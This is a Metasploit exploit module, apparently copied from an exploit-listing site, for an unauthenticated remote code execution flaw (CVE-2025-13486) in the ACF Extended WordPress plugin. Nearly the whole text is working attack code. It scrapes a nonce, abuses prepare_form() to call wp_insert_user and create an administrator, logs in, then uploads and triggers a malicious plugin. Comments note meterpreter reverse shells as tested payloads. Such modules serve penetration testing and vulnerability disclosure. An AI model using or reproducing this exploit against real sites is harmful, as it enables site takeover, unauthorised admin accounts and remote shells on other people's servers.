Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-WP_ACF_EXTENDED_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress ACF Extended Unauthenticated RCE via prepare_form()',
        'Description' => %q{
          This module exploits an unauthenticated Remote Code Execution vulnerability in the
          Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5
          through 0.9.1.1. The vulnerability exists in the prepare_form() function of the
          acfe_module_form_front_render class, which accepts user-controlled input via the
          form[render] parameter and passes it directly to call_user_func_array() without
          proper sanitization.

          This exploit requires a WordPress page containing an ACF Extended form widget, which
          exposes the required nonce token in the page's JavaScript. The NONCE_PAGE option
          must be set to the path of such a page.

          Once an administrator account is created via wp_insert_user(), the module uploads
          and executes a malicious plugin to achieve remote code execution (RCE).
        },
        'Author' => [
          'Marcin Dudek (dudekmar) - CERT.PL', # Vulnerability discovery
          'Valentin Lobstein <chocapikk@leakix.net>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-13486'],
          ['URL', 'https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/']
        ],
        'Platform' => %w[php unix linux win],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'DisclosureDate' => '2025-12-02',
        'DefaultTarget' => 0,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('NONCE_PAGE', [true, 'Path to page containing ACF Extended form widget', '']),
      OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
      OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
      OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
    ])
  end

  def check
    return CheckCode::Unknown('The target does not appear to be running WordPress') unless wordpress_and_online?

    plugin_check = check_plugin_version_from_readme('acf-extended', '0.9.2', '0.9.0.5')
    return plugin_check if plugin_check == CheckCode::Safe

    @nonce = find_nonce
    return CheckCode::Unknown('Could not find nonce on specified page') unless @nonce

    CheckCode::Appears('The target appears to be a vulnerable version')
  end

  def exploit
    unless wordpress_and_online?
      fail_with(Failure::NotFound, 'The target does not appear to be using WordPress')
    end

    admin_cookie = create_admin_user
    upload_and_execute_payload(admin_cookie)
  end

  def ensure_nonce
    return if @nonce

    @nonce = find_nonce
    fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
  end

  def find_nonce
    nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
    res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
    return nil unless res&.code == 200 && res.body =~ /"nonce":"([a-f0-9]+)"/i

    Regexp.last_match(1).tap { |n| vprint_status("Found nonce in JavaScript: #{n}") }
  end

  def send_exploit_request
    ensure_nonce

    send_request_cgi(
      'method' => 'POST',
      'uri' => wordpress_url_admin_ajax,
      'vars_post' => {
        'action' => 'acfe/form/render_form_ajax',
        'nonce' => @nonce,
        'form[render]' => 'wp_insert_user',
        'form[user_login]' => datastore['USERNAME'],
        'form[user_email]' => datastore['EMAIL'],
        'form[user_pass]' => datastore['PASSWORD'],
        'form[role]' => 'administrator'
      }
    )
  end

  def create_admin_user
    res = send_exploit_request
    fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') unless res&.code == 200
    fail_with(Failure::UnexpectedReply, 'Unexpected response from exploit request.') unless res.body =~ %r{</div>\s*\d+\s*</div>}

    print_good('Administrator account created successfully')

    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless cookie
    cookie
  end

  def upload_and_execute_payload(admin_cookie)
    plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
    payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"

    zip = generate_plugin(plugin_name, payload_name)
    unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
    end

    register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
    register_dir_for_cleanup("../#{plugin_name}")

    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
    send_request_cgi('uri' => payload_uri, 'method' => 'GET')
  end
end